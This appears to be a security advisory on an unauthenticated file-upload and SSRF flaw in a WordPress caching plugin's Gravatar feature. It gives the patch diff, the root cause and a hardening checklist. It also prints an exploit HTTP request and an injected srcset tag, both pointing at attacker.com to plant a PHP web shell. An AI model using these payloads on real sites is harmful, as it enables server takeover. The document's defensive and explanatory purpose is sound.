The Exploit
An unauthenticated attacker with the "Host Files Locally - Gravatars" feature enabled can upload arbitrary files to the server by injecting a malicious srcset or src URL into a Gravatar HTML tag during WordPress cron execution.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.wordpress.local
Content-Type: application/x-www-form-urlencoded
action=breeze_cache_preload&url=http://attacker.com/evil.php
Alternatively, if you control a comment or user profile that renders a Gravatar, inject a malicious image tag:
<img src="https://gravatar.com/avatar/hash?s=96" alt="user" srcset="http://attacker.com/shell.php 1x">
When the WordPress cron job runs (or when the Breeze cache processes Gravatar URLs), the fetch_gravatar_from_remote() function downloads the file from attacker.com/shell.php without validating the domain or file type. The PHP file is saved to the local Gravatars directory with its original extension, becoming executable. The attacker observes a 200 response and later accesses the shell at /wp-content/cache/gravatar_[hash].php, achieving unauthenticated remote code execution.
What the Patch Did
Before:
$local_gravatar_name = basename( wp_parse_url( $url, PHP_URL_PATH ) );
$saved_gravatar = $this->check_for_content( 'gravatars', $local_gravatar_name );
After:
$host = strtolower( (string) wp_parse_url( $url, PHP_URL_HOST ) );
if ( 'gravatar.com' !== $host && '.gravatar.com' !== substr( $host, -13 ) ) {
return $url;
}
$blog_id = $this->get_blog_id();
$gravatar_name = basename( wp_parse_url( $url, PHP_URL_PATH ) );
The patch added a domain whitelist check using wp_parse_url() to extract the hostname, then validates that it matches either gravatar.com exactly or ends with .gravatar.com (for subdomains like s.gravatar.com). If the host fails validation, the function returns the original URL unchanged, preventing the download entirely. This implements a server-side request forgery (SSRF) mitigation by restricting which remote hosts the plugin will fetch files from.
Additionally, the patch tightened the regex patterns for extracting srcset and src attributes from /srcset=["\']?((?:.(?!["\']?\s+(?:\S+)=|\s*\/?[>"\']))+.)["\']?/ to /\ssrc=["\']([^"\']+)["\']?/, requiring a preceding whitespace to prevent attribute injection attacks where an attacker embeds srcset= inside other HTML attributes.
Root Cause
CWE-918 (Server-Side Request Forgery) and CWE-20 (Improper Input Validation).
The vulnerability exists because the fetch_gravatar_from_remote() function accepts a URL parameter extracted from HTML without validating its origin. The dataflow is: attacker-controlled HTML (in a comment, user profile, or injected via the srcset regex bypass) → regex extraction of src or srcset attribute value → $url variable passed to fetch_gravatar_from_remote() → wp_remote_get() downloads from any host without a domain check → file saved locally with original filename and extension. The regex patterns in the vulnerable code were permissive enough to match attacker-injected attributes in unexpected locations, allowing the URL to come from anywhere on the internet rather than Gravatar's CDN.
Why It Works
The load-bearing line is:
if ( 'gravatar.com' !== $host && '.gravatar.com' !== substr( $host, -13 ) ) {
return $url;
}
Removing this line leaves the plugin downloading files from arbitrary hosts. The engineer added the second condition ('.gravatar.com' !== substr( $host, -13 )) for defence-in-depth, acknowledging that Gravatar uses multiple subdomains (s.gravatar.com, 1.gravatar.com, etc.) and a strict equality check would break legitimate use cases. The regex tightening (adding the preceding \s and switching to [^"\']+ character class) is secondary hardening: even if an attacker bypasses the domain check through some parser confusion, the stricter regex makes it harder to inject malicious attributes in the first place. Together, they create defence-in-depth: the domain whitelist is the primary control; the regex fix prevents bypassing it via HTML parser tricks.
Hardening Checklist
- Whitelist trusted domains explicitly. Use
wp_parse_url( $url, PHP_URL_HOST )and compare against a hardcoded list of approved origins. Do not rely on regex alone for URL validation. - Validate file extensions before saving. Check the downloaded file's MIME type and extension against a whitelist (e.g.,
in_array( pathinfo( $filename, PATHINFO_EXTENSION ), array( 'jpg', 'png', 'gif' ), true )). Never trust the URL's extension. - Use
wp_safe_remote_get()with a whitelist of allowed hosts. Bind thepre_http_requesthook to intercept requests and reject those outside your domain whitelist before they are dispatched. - Sanitize HTML attributes with
wp_kses_post(). When rendering user-supplied HTML containing Gravatar tags, filter withwp_kses_post()to strip unexpected attributes and ensure attributes are properly quoted. - Store uploads outside the web root or disable script execution. Place cached Gravatars in a directory with
.htaccessorweb.configrules that disable PHP execution (php_flag engine off).
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-3844